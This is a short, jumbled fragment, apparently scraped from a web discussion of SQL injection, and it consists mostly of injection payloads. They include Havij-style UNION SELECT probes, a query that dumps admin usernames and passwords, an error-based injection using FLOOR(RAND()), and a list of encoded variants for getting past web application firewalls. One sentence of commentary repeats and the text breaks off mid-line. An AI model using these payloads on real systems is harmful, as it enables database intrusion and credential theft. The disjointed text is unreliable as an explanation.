999999.9+union+all+select+%27R3DM0V3_hvj_injection',null.
So, as it's being used a lot, I would submit my answer. In my opinion, the aim of these requests is to check the presence or absence of a sql injection.
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.
So, as it's being used a lot, I would submit my answer. In my opinion, the aim of these requests is to check the presence or absence of a sql injection.
-999.9+union+all+select+%27R3DM0V3_hvj_injection',null%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL
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32)),0x332150,ifnull(full_name,char(32)),0x332150,ifnull(user_name,char(32)),0x332150,ifnull(user_email,char(32)),0x332150,ifnull(pwd,char
You can clearly see rules containing keywords "select", "union", "all" etc.
+AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))). URL will look like
+--+Union+--+Select+--+ +#uNiOn+#sEleCt+ +union+distinct+select+ +union+distinctROW+select+ +union%23aa%0Aselect+ 0%a0union%a0select%09 %0Aunion%0Aselect%0A